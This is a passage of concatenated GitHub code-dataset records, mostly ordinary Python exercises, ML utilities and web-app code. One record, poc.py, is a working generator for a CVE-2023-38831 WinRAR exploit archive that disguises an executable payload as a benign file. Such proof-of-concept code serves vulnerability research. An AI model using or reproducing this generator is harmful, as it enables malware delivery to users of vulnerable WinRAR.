Response(status=status.HTTP_400_BAD_REQUEST)\n return Response(MessageController.last_message_id(), status=status.HTTP_200_OK)\n\n @action()\n @log()\n @required_roles(['read'])\n @load()\n def subscribe(self, request, pk):\n \"\"\"\n Subscribes a subscriber to a set of types\n \"\"\"\n try:\n pk = int(pk)\n subscriptions = request.DATA\n cleaned_subscriptions = []\n if not isinstance(subscriptions, list):\n raise TypeError\n for s in subscriptions:\n if str(s) in MessageController.Type.ALL:\n cleaned_subscriptions.append(str(s))\n except (ValueError, TypeError):\n return Response(status=status.HTTP_400_BAD_REQUEST)\n MessageController.subscribe(pk, cleaned_subscriptions)\n return Response(cleaned_subscriptions, status=status.HTTP_200_OK)\n","repo_name":"rootfs-analytics/openvstorage","sub_path":"webapps/api/backend/views/messaging.py","file_name":"messaging.py","file_ext":"py","file_size_in_byte":3682,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"40753049477","text":"\"\"\"\nCombination Sum\n\nGiven an array of distinct integers candidates and a target integer target, return a list of all unique combinations of candidates where the chosen numbers sum to target. You may return the combinations in any order.\n\nThe same number may be chosen from candidates an unlimited number of times. Two combinations are unique if the frequency of at least one of the chosen numbers is different.\n\n\nExample 1:\n\nInput: candidates = [2,3,6,7], target = 7\nOutput: [[2,2,3],[7]]\nExplanation:\n2 and 3 are candidates, and 2 + 2 + 3 = 7. Note that 2 can be used multiple times.\n7 is a candidate, and 7 = 7.\nThese are the only two combinations.\n\nExample 2:\n\nInput: candidates = [2,3,5], target = 8\nOutput: [[2,2,2,2],[2,3,3],[3,5]]\n\nExample 3:\n\nInput: candidates = [2], target = 1\nOutput: []\n\nExample 4:\n\nInput: candidates = [1], target = 1\nOutput: [[1]]\n\nExample 5:\n\nInput: candidates = [1], target = 2\nOutput: [[1,1]]\n\n\"\"\"\n\ndef combinationSum(candidates, target):\n result = []\n candidates.sort(reverse=True)\n\n def generate(remains=target, combination=[]):\n if remains < 0:\n return\n if not remains:\n result.append(combination)\n return\n \n last_used = combination[-1] if combination else candidates[0]\n\n for c in candidates:\n if c > last_used:\n continue\n generate(remains - c, combination + [c])\n \n generate()\n return result\n\n\ncandidates = [2, 3, 6, 7]\ntarget = 7\nresult = combinationSum(candidates, target)\nprint(result)","repo_name":"onursahil/Leetcode_Problems","sub_path":"Easy/combination_sum.py","file_name":"combination_sum.py","file_ext":"py","file_size_in_byte":1550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"7128692446","text":"\"\"\"Напишите программу, которая найдёт произведение пар чисел списка. Парой считаем первый и последний элемент, второй и предпоследний и т.д.\nПример:\n - [2, 3, 4, 5, 6] => [12, 15, 16];\n - [2, 3, 5, 6] => [12, 15]\n\"\"\"\nlist = [2, 3, 4, 5, 6]\nlistFinal = []\nstart = 0\nend = len(list)-1\n\nfor value in list:\n if start <= end:\n listFinal.append(list[start] * list[end])\n start += 1\n end -= 1\n else: \n break\n\nprint(listFinal)\n","repo_name":"MaxiRage/Python_homeWork","sub_path":"homework_3/3.2.py","file_name":"3.2.py","file_ext":"py","file_size_in_byte":579,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"73962996323","text":"import os\nimport warnings\nfrom keras.preprocessing.image import load_img, img_to_array\nfrom keras.applications import vgg16\nfrom keras.models import Model\nwarnings.simplefilter(action='ignore', category=FutureWarning)\n\nclass VGGFeatureExtraction:\n def __init__(self):\n self.model = vgg16.VGG16()\n self.model.layers.pop()\n self.model = Model(inputs=self.model.inputs, outputs=self.model.layers[-1].output)\n\n def extract_features_from_folder(self, directory):\n \"\"\"\n extract features from each photo in the directory by vgg16 model\n :param directory: path\n :return: feature dict\n \"\"\"\n features = dict()\n for name in os.listdir(directory):\n filename = directory + '/' + name\n image_id = name.split('.')[0] # Remove .jpg\n features[image_id] = self.extract_features_from_file(filename)\n print('Image file {} is processed'.format(name))\n return features\n\n def extract_features_from_file(self, filename):\n image = load_img(filename, target_size=(224, 224))\n # Pre-process image\n image = img_to_array(image)\n image = image.reshape((1, image.shape[0], image.shape[1], image.shape[2])) # first dim for sample\n image = vgg16.preprocess_input(image)\n\n return self.model.predict(image, verbose=0)\n\n","repo_name":"chlin907/ImageCaptioningDeepLearning","sub_path":"image_captioning_utils/VGGFeatureExtraction.py","file_name":"VGGFeatureExtraction.py","file_ext":"py","file_size_in_byte":1357,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"6287744583","text":"# Reference by https://github.com/z3r0sw0rd/CVE-2023-38831-PoC\n\n# Read up by Google's TAG at:\n# https://blog.google/threat-analysis-group/government-backed-actors-exploiting-winrar-vulnerability/\n\n# Download the latest vulnerable version: 6.22 for Windows x64 at:\n# https://www.win-rar.com/fileadmin/winrar-versions/winrar/winrar-x64-622.exe\n\nimport argparse\nimport os\nimport shutil\nimport sys\n\nparser = argparse.ArgumentParser(description='CVE-2023-38831 is an RCE in WinRAR (<6.23)')\nparser.add_argument('payload_path', help='The path of the malicious .bat, .cmd or .exe. A bat is recommended in order to run both the benign file and payload.')\nparser.add_argument('benign_path', \thelp='The path of the benign file, a .jpg .png or .pdf is recommended.')\nargs = parser.parse_args()\n\nif not os.path.exists(args.payload_path):\n print('The file', args.payload_path, 'does not exist')\n sys.exit(1)\nif not os.path.exists(args.benign_path):\n\tprint('The file', args.benign_path, 'does not exist')\n\tsys.exit(2)\n\nbenign_file = os.path.basename(args.benign_path)\nzip_directory = \"evil_temp\"\n\nif os.path.exists(zip_directory):\n\tshutil.rmtree(zip_directory)\nos.mkdir(zip_directory)\nprint('Created the directory', zip_directory)\n\npayload_directory = os.path.join(zip_directory, benign_file + 'A')\nos.mkdir(payload_directory)\nprint('Created the directory', payload_directory)\n\npayload_path_dest = os.path.join(payload_directory, benign_file + 'A.cmd')\nbenign_path_dest = os.path.join(zip_directory, benign_file + 'B')\nshutil.copyfile(args.payload_path, payload_path_dest)\nshutil.copyfile(args.benign_path, benign_path_dest)\nprint('Copied the file from', args.payload_path, 'to', payload_path_dest)\nprint('Copied the file from', args.benign_path, 'to', benign_path_dest)\n\narchive_name = 'evil'\nshutil.make_archive(archive_name, 'zip', zip_directory)\n\nwith open(archive_name + '.zip', 'rb') as z:\n content = z.read()\n content = content.replace(benign_file.encode() + b'A', benign_file.encode() + b' ')\n content = content.replace(benign_file.encode() + b'B', benign_file.encode() + b' ')\nos.remove(archive_name + '.zip')\n\nwith open(archive_name + '.zip', 'wb') as z:\n z.write(content)\n\nprint('Replaced the bytes in the zip file')\n\nif os.path.exists(zip_directory):\n\tshutil.rmtree(zip_directory)\n\nprint('Successfully Generated the PoC as', archive_name)\n","repo_name":"kehrijksen/CVE-2023-38831","sub_path":"poc.py","file_name":"poc.py","file_ext":"py","file_size_in_byte":2355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"16599821922","text":"import numpy as np\n\n#=========================================\n# Defining the main function to implement Gaussian\n#=========================================\n\n# def useGaussian(matrixParam, size):\n# # Things I need to do here:\n# #=========================================\n# # Traverse through the matrix row by row\n# # Define a pivot \n# # [Forward Elimination] Use the pivot to create a upper valued matrix\n# # [Back Substitution] Then equalize each row with the correspoding const to from equations\n# # Solve the equations derived by back substitution\n# for i in range(size):\n\n\ndef GaussianElimination(A,B,pivot=False,showAll=True):\n # print(\"Hello\")\n # currentPivotRow=0\n rowNumber,colNumber=np.shape(A)\n xValues=np.zeros(rowNumber,float)\n\n\n for k in range(rowNumber-1):\n if np.fabs(A[k][k]==0 and pivot==True):\n #pivoting\n maxFirstColValue=A[i][i]\n temp=0\n for j in range(i+1,colNumber):\n #A[i][j]=A[i-1][j]\n if(abs(A[j][i])>abs(maxFirstColValue)):\n maxFirstColValue=A[j][i]\n print(j,\">\", i)\n #Switching coeffrow\n A[[j,i]]=A[[i,j]]\n #Switching const row\n B[[j,i]]=B[[i,j]]\n \n # print(A)\n # print(B)\n if (abs(A[k][k] == 0) and pivot==False):\n print('Divide by zero detected! ')\n\n for i in range(k+1,rowNumber):\n if A[i,k]==0:\n continue\n factor=A[k,k]/A[i,k]\n for j in range(k,rowNumber):\n A[i,j]=A[k,j]-A[i,j]*factor\n B[i]=B[k]-B[i]*factor\n if(showAll==True):\n print(A)\n print(B)\n\n #Back Substitution\n xValues[rowNumber-1]=B[rowNumber-1]/A[rowNumber-1,rowNumber-1]\n for i in range(rowNumber-2,-1,-1):\n sum=0\n for j in range(i+1,rowNumber):\n sum+=A[i,j]*xValues[j]\n xValues[i]=(B[i]-sum)/A[i,i]\n vector = []\n\n\n for i in range (rowNumber):\n xValues[i]=format(xValues[i],'.4f')\n vector.append(xValues[i])\n\n answer = np.array(vector).reshape(rowNumber, 1)\n return answer\n\n\n\n \n\n#=========================================\n# Taking the input to create matrices \n#=========================================\n\n\nequationCount=int(input())\ncoeffMatrix=np.zeros((equationCount,equationCount))\nconstMatrix=np.zeros((equationCount,1))\n\nfor i in range(equationCount):\n inputLine=input()\n inputLine=inputLine.split()\n \n for j in range(equationCount):\n coeffMatrix[i][j]=float(inputLine[j])\nfor i in range(equationCount):\n constMatrix[i][0]=float(input())\n\nprint(coeffMatrix)\nprint(constMatrix)\n\nanswer=GaussianElimination(coeffMatrix,constMatrix,True,True)\nprint(answer)","repo_name":"SalmanSayeed79/CSE-218","sub_path":"3. Gaussian Method (Homework 2)/1905079.py","file_name":"1905079.py","file_ext":"py","file_size_in_byte":2892,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"74336431841","text":"import os\nimport jsbeautifier\n\ndef beautify_js_files(input_dir, output_dir):\n # Make sure the output directory exists\n if not os.path.exists(output_dir):\n os.makedirs(output_dir)\n\n # Loop through all files in the input directory\n for filename in os.listdir(input_dir):\n # Check if the file is a .js file\n if filename.endswith('.js'):\n print(\"Beautifying: \" + filename)\n # Construct the input and output file paths\n input_filename = os.path.join(input_dir, filename)\n output_filename = os.path.join(output_dir, filename)\n\n\n infile = open(input_filename,'r')\n\n # Run jsbeautifier on the input file and save the output to the output file\n try:\n res = jsbeautifier.beautify(infile.read())\n except:\n print(\"ERROR BEAUTIFYING: \" +filename)\n f = open(output_filename,'a')\n f.write(res)\n\n f.close()\n infile.close()\n print(\"Beautification complete!\")\n \n\n","repo_name":"iamdanielbryant/JS-Recon","sub_path":"helper/beautifyjs.py","file_name":"beautifyjs.py","file_ext":"py","file_size_in_byte":1058,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"24606916341","text":"#\n# @lc app=leetcode.cn id=485 lang=python3\n#\n# [485] 最大连续 1 的个数\n#\n\n# @lc code=start\nclass Solution:\n def findMaxConsecutiveOnes(self, nums: List[int]) -> int:\n # max_num记录最大连续数, count计算当前连续数\n max_num, counter = 0, 0\n for i in nums:\n # 如果遇到1, counter + 1\n if i == 1:\n counter += 1\n # 如果遇到0, 判断是否更新max_num\n elif i == 0:\n max_num = counter if counter > max_num else max_num\n counter = 0\n\n # 考虑元素可能全部是0或者全部是1的情况\n max_num = counter if counter > max_num else max_num\n return max_num\n","repo_name":"Xiaojun-Wei/LeetCode","sub_path":"array/485-最大连续-1-的个数.py","file_name":"485-最大连续-1-的个数.py","file_ext":"py","file_size_in_byte":716,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"16398760504","text":"\"\"\"Views for handling tasks.\"\"\"\n\nimport typing\n\nfrom ..database import db\nfrom ..util import api\nfrom ..util import errors as util_errors\n\n# pylint: disable=unused-import,ungrouped-imports,invalid-name\nif typing.TYPE_CHECKING:\n from typing import (\n Dict,\n )\n from ..database import models\n from ..util import auth\n from ..util import settings\n# pylint: enable=unused-import,ungrouped-imports,invalid-name\n\n\nSET_SETTING_WHITELIST = set([\n # Fields\n 'name',\n 'email',\n # Settings\n 'deletion_behaviour',\n 'language',\n])\n\n\n@api.endpoint('/get_settings')\ndef get_settings(token: 'auth.JWT') -> 'models.User':\n \"\"\"Get all settings for the bearer of the given token.\"\"\"\n return token.user\n\n\n@api.endpoint('/set_setting')\ndef set_setting(\n token: 'auth.JWT',\n key: str,\n value: 'settings.Value'\n ) -> 'Dict[None, None]':\n \"\"\"Set a setting for the bearer of the given token.\"\"\"\n if key not in SET_SETTING_WHITELIST:\n raise util_errors.APIError(\n 'Cannot set setting {}'.format(key), 400)\n\n setattr(token.user, key, value)\n\n db.DB.session.commit()\n\n return {}\n","repo_name":"toastwaffle/LiME","sub_path":"lime/views/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":1108,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"26553844056","text":"from __future__ import absolute_import\n\nfrom .models import LogicModule\nfrom .serializers import LogicModuleSerializer\n\nfrom .celery import app\n\n\n@app.task\ndef create_module(*args, **kwargs):\n serializer = LogicModuleSerializer(data=args[0])\n serializer.is_valid(raise_exception=True)\n serializer.save()\n\n\n@app.task\ndef update_module(*args, **kwargs):\n data = args[0]\n obj_uuid = data['module_uuid']\n instance = LogicModule.objects.get(module_uuid=obj_uuid)\n serializer = LogicModuleSerializer(instance, data=data, partial=False)\n serializer.is_valid(raise_exception=True)\n serializer.save()\n","repo_name":"gholcomb/buildly","sub_path":"gateway/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"22378600975","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n\r\n##############################################################################\r\n# Author: Rawat S. (Dept. of Electrical & Computer Engineering, KMUTNB)\r\n# Date: 2017-11-17\r\n##############################################################################\r\n\r\nfrom __future__ import print_function # for Python 2.6 or higher\r\n\r\n## class definition, multi-threading\r\n\r\nimport threading, time, sys\r\n\r\n# MyTask is a subclass of Thread.\r\nclass MyTask(threading.Thread):\r\n def __init__(self, name): # constructor\r\n threading.Thread.__init__(self)\r\n self.name = name\r\n self.count = 0\r\n \r\n def run(self): # overriding the run method()\r\n while True:\r\n time.sleep(0.5) # sleep for 0.5 seconds\r\n if self.count > 10:\r\n print (self.name, 'finished...')\r\n break\r\n print (self.name,'count:', self.count)\r\n sys.stdout.flush()\r\n self.count += 1\r\n\r\ntask = MyTask('MyTask') # create an object from MyTask\r\n\r\ntask.start() # start the task\r\nprint ('Waiting for task termination...')\r\n\r\ntask.join()\r\nprint ('Done....')\r\n\r\n# Sample Output:\r\n# Waiting for task termination...\r\n# MyTask count: 0\r\n# MyTask count: 1\r\n# MyTask count: 2\r\n# MyTask count: 3\r\n# MyTask count: 4\r\n# MyTask count: 5\r\n# MyTask count: 6\r\n# MyTask count: 7\r\n# MyTask count: 8\r\n# MyTask count: 9\r\n# MyTask count: 10\r\n# MyTask finished...\r\n# Done....\r\n\r\n##############################################################################\r\n","repo_name":"rsp-esl/python_examples_learning","sub_path":"example_set-3/script_ex-3_5.py","file_name":"script_ex-3_5.py","file_ext":"py","file_size_in_byte":1597,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"18191320071","text":"\n\nclass Bowling:\n\n def __init__(self):\n self.current_score = 0\n self.previous_skittle_number = None\n self.frames = [[None, None]]\n\n def roll(self, skittle_number):\n if self.frames[-1][0] is None:\n self.frames[-1][0] = skittle_number\n if skittle_number == 10:\n self.frames[-1][1]=0\n if self.last_was_spare() or self.last_was_strike():\n self.current_score += skittle_number*2\n else:\n self.current_score += skittle_number\n elif self.frames[-1][1] is None:\n self.frames[-1][1] = skittle_number\n if self.last_was_strike():\n self.current_score += skittle_number*2\n else:\n self.current_score += skittle_number\n else:\n self.frames.append([None, None])\n self.roll(skittle_number)\n\n\n def score(self):\n return self.current_score\n\n def last_was_spare(self):\n if len(self.frames) > 1:\n if sum(self.frames[-2]) == 10:\n return True\n return False\n\n def last_was_strike(self):\n if len(self.frames) > 1:\n if self.frames[-2][0] == 10:\n return True\n return False\n","repo_name":"adarthenay/coding_dojo","sub_path":"bowling.py","file_name":"bowling.py","file_ext":"py","file_size_in_byte":1261,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"72005134561","text":"import string\nfrom pyaspeller import YandexSpeller\nfrom pymystem3 import Mystem\nimport logging\nimport final.bd\nfrom flashtext import KeywordProcessor\n\n#speller - переменная класса YandexSpeller, отвечающая за корректировку ошибок в сообщениях\n#m - переменная класса Mystem, отвечающая за лемматизацию сообщения\nspeller = YandexSpeller()\nm = Mystem()\n\n#Удаление символов пунктуации\ndef remove_punctuation(text):\n translator = str.maketrans('', '', string.punctuation)\n return text.translate(translator)\n\n#Лемматизация\ndef diction_form(text):\n text = ''.join(m.lemmatize(text)).rstrip('\\n')\n return text\n\n#Замена слов на синонимы, которые хранятся в словаре\ndef syn(question):\n synonyms = final.bd.get_synonyms()\n #keyword_processor - переменная класса KeywordProcessor, отвечающаю за замену слов на синоним из базы данных синонимов\n keyword_processor = KeywordProcessor()\n keyword_processor.add_keywords_from_dict(synonyms)\n\n msg = \"\"\n for i in range(len(question)):\n question[i] = keyword_processor.replace_keywords(question[i])\n if (i != len(question) - 1):\n msg += question[i] + \" \"\n else:\n msg += question[i]\n return msg\n \n\n#Функция предобработки сообщения пользователя\n#Замена буквы \"ё\" на \"е\", корректировка ошибок с помощью speller\n#Удаление знаков пунктуации и прочих символов, которые не являются буквами\n#Приведение каждого слова сообщения к нормальной форме\ndef correct_message(msg):\n tmp = msg\n logging.info(\"Исходная строка: \" + tmp)\n msg = str(msg).lower().replace(\"ё\", \"е\")\n logging.info(\"Замена буквы Ё: \" + msg)\n msg = speller.spelled(msg)\n logging.info(\"Коррекция ошибок: \" + msg)\n msg = remove_punctuation(msg.lower())\n logging.info(\"Удаление знаков пунктуации: \" + msg)\n msg = syn(msg.split())\n logging.info(\"Замена слов на синонимы: \" + msg)\n msg = diction_form(msg)\n logging.info(\"Приведение слова к нормальной форме: \" + msg)\n\n return msg","repo_name":"Eversince001/bott","sub_path":"final/correction.py","file_name":"correction.py","file_ext":"py","file_size_in_byte":2656,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"30141292745","text":"import os\nimport sys\nimport numpy as np\nimport argparse\nimport cv2 as cv\nimport h5py\nfrom glob import glob\nfrom tqdm import tqdm\n\n#import matplotlib.pyplot as plt\n\ndef augment_img(img, aug_type):\n if aug_type == 'mirror':\n return np.fliplr(img)\n if aug_type == 'flip':\n return np.flipud(img)\n if aug_type == 'rotL':\n return np.rot90(img, k=1)\n if aug_type == 'rotR':\n return np.rot90(img, k=-1)\n\n\ndef image_augment(img, num_augs):\n # save as channel first\n data_aug = np.empty((num_augs+1,img.shape[2], img.shape[0], img.shape[1]))\n aug_types = np.array(['mirror', 'flip', 'rotL', 'rotR'])\n np.random.shuffle(aug_types)\n data_aug[0] = np.einsum('ijk->kij', img.astype(np.float32)) \n for i in range(num_augs):\n data_aug[i+1] = np.einsum('ijk->kij', augment_img(img, aug_types[i]).astype(np.float32)) \n\n return data_aug\n\n\ndef generate_data(train_path, val_path, patch_size, stride, scaling_factors, num_augments, num_channels):\n #num_channels = 3\n print(f'[Data Generation] Creating training data from {train_path} with {num_channels} channels')\n num_train = 0\n h5f = h5py.File('train.h5', 'w')\n num_train = 0\n for f in tqdm(sorted(glob(os.path.join(train_path, '*.png')))):\n #print(f'{num_train+1}: Preprocessing {f}')\n img = cv.imread(f)\n height, width, ch = img.shape\n\n for scale in scaling_factors:\n img_scaled = cv.resize(img, (int(height*scale), int(width*scale)), interpolation=cv.INTER_CUBIC)\n img_scaled = np.array(img_scaled[:,:,:num_channels].reshape((img_scaled.shape[0],img_scaled.shape[1],num_channels))/255)\n patches = get_image_patches(img_scaled, patch_size, stride)\n #print(f' scaling: {scale}, num patches: {patches.shape[0]}')\n for patch_num in range(patches.shape[0]):\n data_aug = image_augment(patches[patch_num], num_augments)\n for aug in range(data_aug.shape[0]):\n h5f.create_dataset(str(num_train), data=data_aug[aug])\n num_train += 1\n\n h5f.close()\n\n print(f'[Data Generation] Creating validation data from {val_path}')\n num_val = 0\n h5f = h5py.File('val.h5', 'w')\n for f in tqdm(sorted(glob(os.path.join(val_path, '*.png')))):\n #print(f'Preprocessing {f}')\n img = cv.imread(f)\n img = np.array(img[:,:,:num_channels].reshape((img.shape[0],img.shape[1],num_channels))/255)\n patches = get_image_patches(img, patch_size, stride)\n for patch_num in range(patches.shape[0]):\n # channels first\n patch = np.einsum('ijk->kij', patches[patch_num].astype(np.float32)) \n h5f.create_dataset(str(num_val), data=patch)\n num_val += 1\n h5f.close()\n \n print(f'Number of training examples {num_train}') \n print(f'Number of validation examples {num_val}') \n\n\ndef get_image_patches(img, patch_size, stride):\n win_row_end = img.shape[0] - patch_size\n win_col_end = img.shape[1] - patch_size\n num_patches_rows = int((img.shape[0]-patch_size)/stride + 1)\n num_patches_cols = int((img.shape[1]-patch_size)/stride + 1)\n num_chs = int(img.shape[2])\n total_patches = int(num_patches_rows * num_patches_cols)\n\n patches = np.zeros((total_patches, patch_size, patch_size, num_chs), dtype=float)\n\n rows = np.arange(0,win_row_end+1, stride)\n cols = np.arange(0,win_col_end+1, stride)\n patch_num = 0\n for row in rows:\n for col in cols: \n patch = img[row:row+patch_size, col:col+patch_size,:]\n patches[patch_num,:,:,:] = patch\n patch_num += 1\n\n return patches\n\ndef main():\n\n script_dir = os.path.dirname(os.path.realpath(__file__))\n \n parser = argparse.ArgumentParser(description=\"DnCNN-data generation\")\n parser.add_argument(\"--train_path\", type=str, default='data/train_color/train', help='root directory for training data')\n parser.add_argument(\"--val_path\", type=str, default='data/train_color/val', help='root directory for validation data')\n parser.add_argument(\"--patch_size\", type=int, default=50, help=\"image patch size to train on\")\n parser.add_argument(\"--stride\", type=int, default=10, help=\"image patch stride\")\n parser.add_argument(\"--scaling_factors\", type=str, default='1,.6,.4,.2', help=\"image scaling\")\n parser.add_argument(\"--num_augments\", type=int, default=0, help=\"number of data augmentations per patch\")\n parser.add_argument(\"--num_channels\", type=int, default=3, help=\"number of channels (bw=1, color=3)\")\n args = parser.parse_args()\n\n train_path = os.path.join(script_dir, args.train_path)\n val_path = os.path.join(script_dir, args.val_path)\n patch_size = args.patch_size\n stride = args.stride\n scaling_factors = [float(scale) for scale in args.scaling_factors.split(',')] \n num_augments = args.num_augments\n\n print(f'[args] training data: {train_path}')\n print(f'[args] validation data: {val_path}')\n print(f'[args] patch size: {patch_size}, stride: {stride}')\n print(f'[args] scaling factors: {scaling_factors}')\n print(f'[args] number of augmentations: {num_augments}')\n\n generate_data(train_path, val_path, patch_size, stride, scaling_factors, num_augments, args.num_channels)\n\n return 0\n\nif __name__ == '__main__':\n sys.exit(main())\n","repo_name":"MerlinPCarson/Image-Denoising-DNN","sub_path":"gen_data.py","file_name":"gen_data.py","file_ext":"py","file_size_in_byte":5357,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"54"} +{"seq_id":"43968172382","text":"#-*- coding:utf-8 -*-\r\nclass zhibofun:\r\n def __init__(self):\r\n self.dbc=dbc\r\n self.dbn=dbn\r\n #展会直播列表\r\n def getzhibolist(self,frompageCount,limitNum,ztype=\"\",orderflag=\"\",bbs_post_id=''):\r\n argument=[]\r\n sqlarg=' from subject_zhibo where id>0 '\r\n if bbs_post_id:\r\n sqlarg+=' and bbs_post_id=%s'\r\n argument.append(bbs_post_id)\r\n if ztype:\r\n sqlarg+=' and ztype=%s'\r\n argument.append(ztype)\r\n sqlc='select count(0)'+sqlarg\r\n sql='select id,content,gmt_created,title'+sqlarg\r\n if (str(orderflag)==\"1\"):\r\n sql+=' order by gmt_created desc '\r\n else:\r\n sql+=' order by gmt_created asc '\r\n sql+='limit %s,%s'\r\n count=self.dbc.fetchnumberdb(sqlc,argument)\r\n argument.append(frompageCount)\r\n argument.append(limitNum)\r\n resultlist=self.dbc.fetchalldb(sql,argument)\r\n listall=[]\r\n for result in resultlist:\r\n id=result[0]\r\n content=result[1]\r\n if content:\r\n content=content.replace(\"http://img1.zz91.com\",\"http://img3.zz91.com/600x600\")\r\n gmt_created=result[2]\r\n title=result[3]\r\n imglist=self.get_img_url(content)\r\n imgone=None\r\n if imglist:\r\n imgone=imglist[0]\r\n gmtdate=formattime(gmt_created,1)\r\n gmthoure=gmt_created.strftime('%H:%M')\r\n litcontent=subString(filter_tags(content),200)\r\n list={'id':id,'title':title,'litcontent':litcontent,'gmtdate':gmtdate,'gmthoure':gmthoure,'imgone':imgone}\r\n listall.append(list)\r\n return {'list':listall,'count':count}\r\n #---回复列表\r\n def replylist(self,postid,frompageCount,limitNum):\r\n visited_count=0\r\n sql=\"select visited_count from bbs_post where id=%s\"\r\n result=dbc.fetchonedb(sql,[postid])\r\n if result:\r\n visited_count=result[0]\r\n rcount=0\r\n sql=\"select count(0) from bbs_post_reply where bbs_post_id=%s and is_del='0' and check_status in ('1','2') \"\r\n result=dbc.fetchonedb(sql,[postid])\r\n if result:\r\n rcount=result[0]\r\n sql=\"select account,title,content,gmt_created,company_id,id,tocompany_id from bbs_post_reply where bbs_post_id=%s and is_del='0' and check_status in ('1','2') order by gmt_created desc limit %s,%s\"\r\n alist=dbc.fetchalldb(sql,[postid,frompageCount,limitNum])\r\n listall_reply=[]\r\n if alist:\r\n i=0\r\n for list in alist:\r\n reply_id=list[5]\r\n accountr=list[0]\r\n company_id=list[4]\r\n nicknamer=self.getusername(company_id)\r\n titler=list[1]\r\n contentr=list[2]\r\n #contentr=replacetel(contentr)\r\n contentr=self.replaceurl(contentr)\r\n gmt_createdr=formattime(list[3],0)\r\n relist=\"\"\r\n tocompany_id=list[6]\r\n tonickname=\"\"\r\n if str(tocompany_id)!=\"0\":\r\n tonickname=self.getusername(tocompany_id)\r\n if tonickname:\r\n nicknamer=nicknamer+\" 回复 \"+tonickname\r\n #relist=self.replyreplylist(reply_id,0,10)\r\n i+=1\r\n list={'reply_id':reply_id,'title':titler,'nickname':nicknamer,'content':contentr,'posttime':gmt_createdr,'replylist':relist,'i':frompageCount+i,'post_id':postid,'company_id':company_id}\r\n listall_reply.append(list)\r\n return {'list':listall_reply,'visited_count':visited_count,'count':rcount}\r\n #----回复回复\r\n def replyreplylist(self,replyid,frompageCount,limitNum):\r\n sql=\"select account,title,content,gmt_created,company_id,id,tocompany_id from bbs_post_reply where bbs_post_reply_id=%s and is_del='0' and check_status in ('1','2') order by gmt_created desc limit %s,%s\"\r\n alist=dbc.fetchalldb(sql,[str(replyid),frompageCount,limitNum])\r\n listall={'list':'','count':''}\r\n listall_reply=[]\r\n i=0\r\n if alist:\r\n for list in alist:\r\n reply_id=list[5]\r\n accountr=list[0]\r\n company_id=list[4]\r\n tocompany_id=list[6]\r\n nicknamer=self.getusername(company_id)\r\n tonickname=self.getusername(tocompany_id)\r\n titler=list[1]\r\n contentr=list[2]\r\n #contentr=replacetel(contentr)\r\n contentr=self.replaceurl(contentr)\r\n gmt_createdr=formattime(list[3],0)\r\n i+=1\r\n list={'reply_id':reply_id,'title':titler,'nickname':nicknamer,'content':contentr,'posttime':gmt_createdr,'company_id':company_id,'tonickname':tonickname,'tocompany_id':tocompany_id,'i':i}\r\n listall_reply.append(list)\r\n listall['list']=listall_reply\r\n if i>10:\r\n listall['count']=1\r\n else:\r\n listall['count']=None\r\n return listall\r\n #--发布者 回复者\r\n def getusername(self,company_id):\r\n nickname=None\r\n sqlu=\"select contact from company_account where company_id=%s\"\r\n ulist=dbc.fetchonedb(sqlu,[company_id])\r\n if ulist:\r\n nickname=ulist[0]\r\n return nickname\r\n def replaceurl(self,content):\r\n if content:\r\n regex = re.compile(\r\n r'^(?:http|ftp)s?://' # http:// or https://\r\n r'(?:(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\\.)+(?:[A-Z]{2,6}\\.?|[A-Z0-9-]{2,}\\.?)|' #domain...\r\n r'localhost|' #localhost...\r\n r'\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})' # ...or ip\r\n r'(?::\\d+)?' # optional port\r\n r'(?:/?|[/?]\\S+)$', re.IGNORECASE)\r\n regex = re.compile(r\"http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\\(\\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+\", re.IGNORECASE)\r\n s=regex.findall(content)\r\n for l in s:\r\n if \"http://\" in l:\r\n content=content\r\n else:\r\n content=content.replace(l,\"\"+l+\"\")\r\n return content\r\n #----互助加点击数\r\n def huzhuclick_add(self,id):\r\n sql=\"update bbs_post set visited_count=visited_count+1 where id=%s\"\r\n dbc.updatetodb(sql,[id])\r\n return 1\r\n def getaccount(self,company_id):\r\n sql=\"select account from company_account where company_id=%s\"\r\n result=dbc.fetchonedb(sql,[company_id])\r\n if result:\r\n return result[0]\r\n else:\r\n return ''\r\n #----回复帖子\r\n def huzhu_replay(self,request):\r\n bbs_post_id = request.POST.get('bbs_post_id')\r\n replyid=request.POST.get('replyid')\r\n tocompany_id = request.POST.get('tocompany_id')\r\n title=request.POST.get('title')\r\n content = request.POST.get('content')\r\n gmt_created=datetime.datetime.now()\r\n gmt_modified=datetime.datetime.now()\r\n company_id = request.POST.get('company_id')\r\n username=self.getaccount(company_id)\r\n \r\n if (content and content!=\"\"):\r\n value=[company_id,tocompany_id,username,title,bbs_post_id,content,0,1,gmt_created,gmt_modified,1,replyid]\r\n sql=\"insert into 